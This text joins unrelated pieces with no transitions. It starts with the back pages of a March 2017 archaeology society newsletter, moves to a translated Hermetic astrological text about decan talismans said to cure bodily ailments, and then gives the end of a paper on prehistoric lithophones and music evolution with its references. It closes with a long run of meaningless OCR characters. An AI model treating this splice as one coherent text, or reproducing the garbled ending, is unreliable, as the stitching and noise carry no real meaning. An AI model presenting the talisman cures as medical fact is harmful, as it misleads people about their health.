for volunteers for our Government Affairs Network State Representative (GANSR) system! This network will comprise of a volunteer member in each state to keep SAA updated on state-level legislative and regulatory issues affecting archaeology. If you have a job that monitors state initiatives, or you already have an interest in this, please do volunteer. The volunteers will be connected electronically to SAA’s manager, Government Affairs and will inform SAA about important state archaeological issues and when it is time to act on an issue before the state’s legislature or regulatory agencies. If you want to join the GANSRs, please contact David Lindsay (david_lindsay@saa.org) as soon as possible. March 2017 • The SAA Archaeological Record 43 CALENDAR MARCH 29–APRIL 2 APRIL 26–29 SEPTEMBER 7 SAA’s 82nd Annual Meeting in Vancou- SAA’s Tercera Conferencia Interconti- Submissions Close for SAA’s 83rd ver, BC, Canada nental in Oaxaca, Mexico Annual Meeting (3:00 p.m. ET) APRIL 14 MAY 1 Registration Closes for SAA’s Tercera Submissions Open for SAA’s 83rd To learn more about SAA’s Conferencia Intercontinental in Oaxaca, Annual Meeting in Washington, DC, Mexico April 11–15, 2018 Online Seminar Series and lectures, visit www.saa.org and click on the SAA APRIL 18 MAY 4 Online Seminar Series Online Seminar: Introduction to Online Seminar: Archaeological Cura- banner. Archaeological Damage Assessment tion for the Twenty-First Century (2:00 (2:00 p.m.–4:00 p.m. ET) p.m.–4:00 p.m. ET) F R O M T H E S A A P R E S S SAA CONTEMPORARY PERSPECTIVES Northwest Coast: SALE TITLES The Contemporary Perspectives series offers short volumes Archaeology as Deep History focused on the archaeology of a specific region. Each book is BY MADONNA MOSS All the King’s Horses: Essays on the designed to provide busy professionals and instructors with a state- Impact of Looting and the Illicit of-the-art, efficient summary of current research and interpretations. This concise overview of the archeology of the Northwest Coast of North America challenges Antiquities Trade on Our Knowledge stereotypes about complex hunter-gatherers. of the Past Hawaii’s Past in a World Madonna Moss argues that these ancient societies EDITED BY PAULA KAY LAZRUS AND were first and foremost fishers and food producers of Pacific Islands and merit study outside socio-evolutionary ALEX W. BARKER BY JAMES M. BAYMAN AND THOMAS S. DYE frameworks. Moss approaches the archaeological record on This volume examines the impact of looting and its own terms, recognizing that changes through time often the use of artifacts of unknown provenance in the Given its relatively late encounter with the West, reflect sampling and visibility of the record itself. The book humanities and social sciences, ranging from the impact of Hawaii offers an exciting opportunity to study a synthesizes current research and is accessible to students and amnesty laws for reporting stolen cultural property to the use of society whose traditional lifeways and technologies professionals alike. Google Earth to assess the scale of illicit excavations, and from were recorded in native oral traditions and written the impact of poorly sourced artifacts on early Mycenaean and documents before they were changed by contact 183 pp. 2011. ISBN 978-0-932839-42-8. Minoan studies to the structure of the growing commercial trade with non-Polynesian cultures. This book chronicles Regular Price $24.95, Member Discount Price $19.95 in ancient coins. archaeology’s role in constructing a narrative of Hawaii’s cultural KINDLE® EDITION AVAILABLE! 168 pp. 2012. ISBN 978-0-932839-44-2. past, focusing on material evidence dating from the Polynesians’ Regular Price $26.95 $12.95, Member Discount Price $21.95 $9.95 first arrival on Hawaii’s shores about a millennium ago to the early KINDLE® EDITION AVAILABLE! decades of settlement by Americans and Europeans in the California’s Ancient Past: nineteenth century. A final chapter discusses new directions taken From the Pacific to the Range of Light by native Hawaiians toward changing the practice of archaeology BY JEANNE E. ARNOLD AND MICHAEL R. WALSH in the islands today. California’s Ancient Past is an excellent 170 pp. 2013. ISBN 978-0-932839-54-1. introduction and overview of the archaeology and Regular Price $25.95, Member Discount Price $19.95 ancient peoples of this diverse and dynamic part KINDLE® EDITION AVAILABLE! of North America. Written in a concise and Ethics in Action: Case Studies approachable format, the book provides an in Archaeological Dilemmas Recent Developments excellent foundation for students, the general CHIP COLWELL-CHANTHAPHONH, public, and scholars working in other regions around the JULIE HOLLOWELL, AND DRU MCGILL in Southeastern Archaeology: world. This book will be an important source of information on From Colonization to Complexity California’s ancient past for years to come. Based on the Society for American Archaeology’s BY DAVID G. ANDERSON —Torben C. Rick, Smithsonian Institution Annual Ethics Bowl, this book is centered on a series of hypothetical case studies that challenge AND KENNETH E. SASSAMAN 188 pp. 2010. ISBN 978-0-932839-40-4. the reader to think through the complexities of This book represents a period-by-period synthesis Regular Price $24.95, Member Discount Price $19.95 archaeological ethics. The volume will benefit of southeastern prehistory designed for high KINDLE® EDITION AVAILABLE! undergraduate and graduate students who can use these cases school and college students, avocational either as a classroom activity or as preparation for the Ethics archaeologists, and interested members of the general public. Bowl, as well as those who are seeking to better understand the It also serves as a basic reference for professional archaeologists ethical predicaments that face the discipline. worldwide on the record of a remarkable region. Limited Quantities Available 292 pp. 2012. ISBN 978-0-932839-43-5. 240 pp. 2008. ISBN 0-932839-32-0. Regular Price $24.95, Member Discount Price $19.95 Regular Price $24.95 $15.95, Member Discount Price $19.95 $11.95 ® KINDLE® EDITION AVAILABLE! KINDLE EDITION AVAILABLE! 44 The SAA Archaeological Record • March 2017 CONFERENCIA INTERCONTINENTAL Se han abierto las inscripciones para la largamente esperada tercera Conferencia Intercontinental! 26–29 de abril de 2017 Oaxaca, México www.saa.org S AV E T H E D AT E SOCIETY FOR AMERICAN ARCHAEOLOGY 83rdAnnual Meeting Apr i l 11–15 , 2018 • W a s h i n g t o n , D C S U B M I S S I O N S O P E N M AY 1 , 2 0 1 7 Non-Profit Org US POSTAGE PAID HANOVER, PA 17331 SOCIETY FOR AMERICAN ARCHAEOLOGY PERMIT NO 4 1111 14th Street, NW, Suite 800 Washington, DC 20005 Change Service Requested tou ermou pros asklhpion h legoumenh iera biblos The Sacred Book of Hermes to Asclepius A Hermetic Astrological Text on the 36 Decans Translated by J. Pedro Feliciano from the French and Greek: Ruelle, C.-E., ed. 1908. Hermès Trismégiste: Le Livre Sacré sur les Décans. Pages 247–277 in Revue de philologie, de littérature et d’histoire anciennes 32. Below I have set forth for you the (governed) parts, and shapes of the 36 decans contained in the signs of the zodiac (lit. zodiacal animals), and I have indicated how each must be engraved and carried (as a talisman) between the ascendant, the Good Daimon, and the place concerning health (?). Indeed, if you carry them on your person you will have a great phylactery, for all the afflictions that plague mankind through the influence of the stars may be healed thereby. Hence, if you honour each one by using its (specific) stone and plant, and furthermore its image, you will possess an even greater phylactery; for without this decanal arrangement, nothing may be born, for all is contained therein. Therefore the zodiacal circle is formed by various parts, limbs and harmonies, it proceeds from the kosmos, and is composed thus: Aries is the head of the kosmos Libra, the buttocks Taurus is the neck Scorpio, the genitals Gemini, the shoulders Sagittarius, the thighs Cancer, the chest Capricorn, the knees Leo, the back, heart, and ribs Aquarius, the legs Virgo, the belly Pisces, the feet Thus, each zodiacal animal has its body part with which it has particular affinity; furthermore, if you wish to avoid suffering from afflictions derived from this affinity, engrave the images and figures of the decans on (their) stones, and then having placed them under the appropriate plant, and again the figure, and having made a phylactery from them, you will bear a great and most auspicious aid for your body. Let us begin with Aries 1 First decan of Aries. Its name is KHENLAKHÔRI, and its image is thus. It has the face of a young child with hands raised upward. He bears a sceptre, holding it above his head. He bears wrappings from his feet to his knees. He governs illnesses that afflict the head. Engrave his image on a porous Babylonian stone, place above it the plant called isophrus (?), place the whole in an iron ring, and wear it. Avoid eating boar’s head, for thus you will gain the favour of each decan by engraving it on its stone with its name. Second decan. Its name is KONTARET and KAÙ, and the following image. He has a dog’s face; he holds a sceptre in his right hand and a disk in his left. He is covered in wrappings down to his ankles. He governs the temples, the nose, and all afflictions pertaining thereto. Engrave him on a siderite stone, placing under it a wild rue plant. Enclose the whole in a gold ring and wear it on your person. Avoid eating stork. Third decan. Its name is SIKET, and is depicted as a woman with a drum on her head and a sceptre in her right hand, with a flask in her left. She is covered in wrappings down to her ankles. She rules over the ear, uvula and teeth. Engrave her image on a bostrychite stone, and place under it some plantain. Then enclose the whole in whatever you wish and wear it. Do not eat ram entrails. First decan of Taurus. This one is called SÔOU, and looks like a man with the head of a ram. He wears a Syrian robe down to his feet, and holds in both hands sceptres which are resting on his shoulders. This decan governs the neck. Engrave him on a selenite stone which has been left in the sunlight to gain weight, and underneath it put a spherical cypress (i.e. having spherical fruits), then place the whole in whatever you wish and wear it on your person. Do not eat any gryllon fish (dolphin or porpoise). Second decan. This one is called ARÔN, and looks like a woman holding sceptre with both hands, standing upright her feet together, covered with wrappings down to her feet like Osiris. She governs the tonsils and the neck. Engrave her on Aphrodite’s stone, and having placed under it some dittany plant, enclose the whole within a gold or silver ring and wear it. Do not eat eel. Third decan of Taurus. Called HRÔMENÔS. Its image is that of a dog-headed man with curls on his head. In his right hand he holds a sceptre and his left hand touches his buttocks. He wears a belt that falls at his knees. He rules the mouth and throat. Engrave him on a hyacinth stone and place a bugloss plant under it, enclosing the whole in a gold or silver ring and wear it on you. Avoid eating eel. 2 First decan of Gemini. This one is called XOKHÁ and looks like a man with the head of a donkey. He holds a small key in his right hand, and his left is dropped. He is covered in wrappings down to his knees. He governs the shoulder. Engrave him on a diamond, place an orchid under it, enclose it in whatever you wish, and wear it on you. Abstain from eating electric rays. Second decan of Gemini. It is called OUARÍ, and looks like a man with the head of a goat. He holds a stick (or staff) in his right hand, and his left hangs over his thigh. He is covered in wrappings down to the knees. He governs the arms. Engrave him on a pankhrous stone, place under it a pentadactyl plant (five fingered grass or cinquefoil), enclose it in whatever you wish and wear it on you while abstaining from parrotfish. Third decan of Gemini. Called PEPISÔTH. It has the form of a woman holding thunder(bolts) in her right hand and a flask in her left. She has wings which go from the middle of her body to her feet and has a crown on her head. She governs the hands. Engrave her on a heliotrope stone and, having placed under it a libanotis plant (from the Apiaceae family), enclose the whole in whatever you wish and wear it on you while abstaining from boar meat. First decan of Cancer. It is called SÔTHEÍR, and looks like a man with the head of a dog; his whole body has a spiral shape like that of a serpent. He is seated on a pedestal. He governs illnesses that manifest in the sides of the trunk. Engrave him on a dryite stone, place some artemisia plant under it, and wear it while abstaining from white sow stomach. Second decan of Cancer. It is called OUPHISIT; it looks like a woman with an avian body, the wings outstretched as if she was about to take flight, and a tress on her head. She governs afflictions of the lung. Engrave her on green jasper, place a selenogone plant under it, enclose it in whatever you wish and wear it while avoiding any food that dogs may touch. Third decan of Cancer. It is called KHNOUPHOS, and looks like two female faces turned away from each other. One wears a small hat, the other a diadem. Her neck is surrounded by dragons. Her whole torso is set on a pedestal. She governs the spleen. Engrave her image exactly as is on an eukhaitê stone (?), place a spherite plant under it, enclose it in whatever you wish and wear it on you. It is of great help. 3 First decan of Leo. It is called KHNOUMOS and has the head of a lion whence issue solar rays. His whole body is that of a spiralling serpent, going upwards. He rules over afflictions of the heart. Engrave him on an agate stone, place an edelweiss plant under it, enclose it in whatever you wish and wear it on you. Abstain from eating songbird eggs. Second decan. This is called IPI, and looks like a naked man with a sceptre in his right hand, a whip in his left, and a lunar crescent (selênên) on his head. He governs the upper back. Engrave him on a selenite stone, place a chrysogone plant under it, enclose the whole in a gold ring and wear it while abstaining from beans. Third decan of Leo. This is called PHÁTITI. It looks like a wild faced man with his right hand up in a greeting position. He holds a flask in his left. He governs the liver. Engrave him on a helite stone and under it place the plant (name missing). Enclose the whole in whatever you wish and wear it. Abstain from eating tuna. First decan of Virgo. It is called ATHOUM, Its face is that of a dog with a crest on his head. His body is hot (?) and fiery in colour. He stands on a pedestal, and governs the belly. Engrave him on a corallite stone (possibly coral), place under it the plant called weasel eye, enclose the whole in whatever you wish and wear it. Abstain from eating white sow liver. Second decan. It is called BRUSOUS, and looks like a man with a horned goat’s head, dressed down to his heels, bearing a sceptre in his right hand and a flask in his left. He governs illnesses of the bowels. Engrave him on a dendrite stone, place some liquorice under it, enclose the whole in whatever you wish and wear this most fortunate aid on your person. Abstain from eating stork meat. Third decan of Virgo. It is called AMPHATHÁM, and looks like an upright man, covered chest to feet in wrappings, bearing a sceptre with both hands, and having a small hat on his head. He governs the navel. Engrave him on an euthlizouti stone, place some katanankê plant under it, enclose the whole in whatever you wish and wear it on your person. First decan of Libra. Called SPHOUKOU. He looks like an old man with a belt, his left hand raised as if to receive something, the right hand hanging down. He holds a flask. He governs the buttocks and rectum. Engrave him on a jasper-agate, place a polium plant under it, enclose the whole in whatever you wish and wear it on your person. Abstain from duck and bitter almonds. 4 Second decan. It is called NEPHTHIMÊS. He looks like a man standing on a fountain whence issue forth streams which unite into one. He is covered from his chest to his ankles in wrappings. He has a curl in his beard and holds a flask. He governs the urethra, bladder, and the urinary tract. Engrave him on a sardonyx stone (red onyx), place vervain under it, enclose the whole in whatever you wish and wear it on your person. Abstain from blackberries. Third decan of Libra. Called PHOU. He has the face of a serpent with a man’s body. He bears a crown on his head and stands upright wrapped in a trouser. He governs illnesses that afflict the anus, like haemorrhoids, calluses and fissures. Engrave him on an emerald, place vervain under it, enclose the whole in whatever you wish and wear it on your person. Abstain from wild celery. First decan of Scorpio. Called BÔS. He looks like a man with the head of a bull, and having 4 wings. He has a belt, holds a flask in his right hand and a sceptre in his left. He relieves pains that afflict the penile orifice, (as well) as inflammatory oedemas. Engrave him on hematite, place mercurial plant under it, enclose the whole in whatever you wish and wear it on your person. Second decan of Scorpio. Called OUSTIKHOS. He looks like a man standing in a robe atop a scorpion. He rules over warts and infections of the genitals. Engrave him on pyrite, place sunflower under it, enclose the whole in whatever you wish and wear it on your person. Third decan. Called APHÊBIS. He has the body of a man with the head of a goat. He holds reins with both hands, and is covered in wrappings from chest to heels. He governs the testicles and heals inflammation in the area, whether in one or both. Engrave him on Egyptian sardonyx, place liquorice under it, enclose the whole in whatever you wish and wear it on your person, abstaining from orchids. First decan of Sagittarius. Called SEBOS. He looks like a clothed man, his left hand open and lowered, bearing a needle in his right. Next to him are several spears. He is covered in a net from chest to heels, and his head is wrapped. He governs sores that afflict the thighs. Engrave him on a Phrygian stone, place sage under it, enclose the whole in whatever you wish and wear it on your person. Second decan of Sagittarius, Called TEUKHMOS. He has the head of an ichneumon bird, and a man’s body. He holds a flask in his right hand and a sceptre in his left. He governs the bones and sends the fractures that afflict them. Engrave him on an amethyst, place adraktitalos plant under it, enclose the whole in whatever you wish and wear it on your person. Abstain from eating turtledoves. 5 Third decan. Called KHTHISAR. His form is that of an old man with a crown on his head, covered in wrappings from chest to heels, holding a flask in his right hand and a sceptre in his left. He governs the thighs, and sends pain and corrosion thereto. Engrave him on an aerizon stone, place centaury under it, enclose the whole in whatever you wish and wear it on your person. Abstain from eating chicken brains First decan of Capricorn. It is called TAIR. He is headless with a man’s body. Around his chest is a girdle made from scarab shell. In his right hand he has a flask and his left is extended on his thigh. He governs the knees and the illnesses that affect them. Engrave him on an ophite stone, place delphinion plant under it, enclose the whole in whatever you wish and wear it on your person. Abstain from eating eel. Second decan of Capricorn. Called EPITEK. He has the head of a pig, and his body is similar to that of the first (decan). He has a belt; a flask in his right hand and a sword in his left. He rules the back of the knees. Engrave him on a karkhedonios (probably chalcedony) stone, place anemone under it, enclose the whole in whatever you wish and wear it on your person. Abstain from eating moray eel Third decan of Capricorn. Called EPIKHNAUS. He wears a mask, a flask in his right hand and a needle in his left. He wears a belt. He governs the same areas as previously indicated in the 2nd decan. Engrave him on an anankite stone, place chameleon (thistle) under it, enclose the whole in whatever you wish and wear it on your person. Abstain from eating crayfish, First decan of Aquarius. He is called ISU, and according to some, THRÔ. He is a dog-headed man, covered in wrappings from the chest to heels. He rules over tibias and sends all abscesses and lesions that take place therein. Engrave him on knêkitê stone, place asar plant under it, enclose the whole in whatever you wish and wear it on your person. Second decan of Aquarius. Called SOSOMNÔ. He looks like a man covered in wrappings from chest to heels. He bears an agkhia (possibly an Egyptian Ankh) in his hands, and wears a crown. He governs the knees and leg fat. Engrave him on a lodestone, place gladiolus plant under it, enclose the whole in whatever you wish and wear it on your person. Third decan of Aquarius. Called KHONOUMOUS. He looks like a man covered in wrappings from chest to heels. He wears a crown, and holds a flask in his right hand and a sceptre in his left. He governs the abovesaid (body parts). Engrave him on Median stone, place thyrsion plant (catananche) under it, enclose the whole in whatever you wish and wear it on your person. 6 First decan of Pisces. Called TETIMÔ. He looks like a man dressed in a dark blue robe. He’s covered in wrappings from chest to heels. In his right hand he holds a flask, while the left hangs beside his thigh. He rules the feet and sends them abscesses. Engrave him on beryl, place vervain under it, enclose the whole in whatever you wish and wear it on your person. Second decan of Pisces. Called SOPPHI. He looks like a man, naked, but bearing a coat on his shoulders, thrown behind him. He holds a flask in the right hand, his left index finger to his mouth, and a crown on his head. Engrave him on perileukios stone, place libanotis plant under it, enclose the whole in whatever you wish and wear it on your person. Third decan of Pisces. Called SURÔ. He is invisible. He is called the coiling dragon. He has a beard and a crown on his head. Engrave him on hyacinth stone, place chamomile under it, enclose the whole in whatever you wish and wear it on your person. 7 And finally the outcome of the project might have some significance for our understanding of the relation between music and evolution. Music has been posited as sharing its origins with language (Brown, 2000), and as having been adaptive in precipitating the emergence of the cognitive ands social flexibility characteristic of modern humans. But whether or not music has been adaptive, exaptive or even neutral in respect of human evolution, it is still of interest to discover just when a capacity or propensity for music appeared. Music certainly appears early in the behavioural repertoire of Homo sapiens sapiens; the Geissenklösterle pipe at 36,000 BP is a complex artefact that must post-date - and most likely by some considerable period - the emergence of a capacity for music, which pushes the emergence of that capacity back towards the very emergence of Homo sapiens sapiens. The longevity of music as a human behaviour is evident (if seldom recognised). The results of the present project and the directions that it suggests for future research might help answer some questions about the extent of that longevity and whether or not music is a capacity that we shared with our sibling and predecessor species. References Attneave, F. and Olson, R. K. (1971) Pitch as a medium: a new approach to psychophysical scaling. American Journal of Psychology, 84, 147-166. Blades, J. (2001). 'Lithophones'. Entry in The New Grove Dictionary of Music and Musicians, Macmillan: London. Brown, S. (2000) The 'musilanguage' model of music evolution. In Wallin, N.L., Merker, B. and Brown, S. (Eds.) The origins of music. MIT Press: Cambridge, Mass. 271-300. Cross, I. (1999) Is music the most important thing we ever did ? Music, development and evolution. In Suk Won Yi (Ed) Music, mind and science, Seoul National University Press: Seoul, 1999, pp10-39. Dams, L. (1985) Palaeolithic lithophones: descriptions and comparisons. Oxford Journal of Archaeology, 4(1), 31-46. D'Errico, F. & Villa, P. (1997) Holes and grooves: the contribution of microscopy and taphonomy to the problem of art origins. Journal of Human Evolution, 33(1), 1-31. Dissanayake, E. (2000) Antecedents of the temporal arts in early mother-infant interaction. In Wallin, N.L., Merker, B. and Brown, S. (Eds.) The origins of music. MIT Press: Cambridge, Mass. 389-410 Frayer, D. W. & Nicolay, C. (2000) Fossil evidence for the origins of speech sounds. In Wallin, N.L., Merker, B. and Brown, S. (Eds.) The origins of music. MIT Press: Cambridge, Mass. 217-234. Hahn, J. and Münzel, S. (1995) Knochenflöten aus dem Aurignacien des Geissenklösterle bei Blaubeuren, Alb- Donau-Kreis. Fundberichte aus Baden-Württemberg, 20, 1-12. Kunej, D. & Turk, I. (2000) New perspectives on the beginnings of music: archaeological and musicological analysis of a Middle Paleolithic bone 'flute'. In Wallin, N.L., Merker, B. and Brown, S. (Eds.) The origins of music. MIT Press: Cambridge, Mass. 234-268. Lieberman, P. (1991) Uniquely human. Harvard University Press: Cambridge, Mass. Examples of sounds produced can be found at http://www.mus.cam.ac.uk/~cross/lithoacoustics/ 7 /.'7 D () t ll ,1..,,¿:(i ^. I -..4a ,1 v ..¿-, JAu ) ? /-l ..1 O ,l:) I / /,{ a':À oa:, U .:lì::¡ /'l ,r't.t (ai.. ¡l-.:. ..// t:;:' -1. /) ¡ ..f ) t¡ \1 : _ ç '' l.J (i'l I ..-\ ( /::> I tL- 'ç/) .Âz...-.,., .,1i,/ (.i ,-4 .4 r..' Ol)- t/'.--o u s f '.'-J\;, ,r:, / ð (..' i.; (i ,.i\ /1lt il i: t) al \j t2- \: :.' (/ \. ;tl,¡ l.u J,, n /'¡ ) \' ,-l 1../ ui( Õ . .a/ ì\l5r, l:) <,/' Q\ ro r7 \Ul" çI oo ¡. ) .. fz c2 '. $zu V7 I'¡ P6 l.''ì"= ?//, r U lit,'l ) t ñ r'.., Ë Effi Oil'IH ¿H Ét d ^ 'Ì rl:> 0oJ >;(.l oo2 \:) ffi dHH 1) o '1 t-: I Ò / \7 t i tli ( l/-:.,1i./ r 7 ò ,? ) 1,: -frûì..j c\ ':..: L't /..-: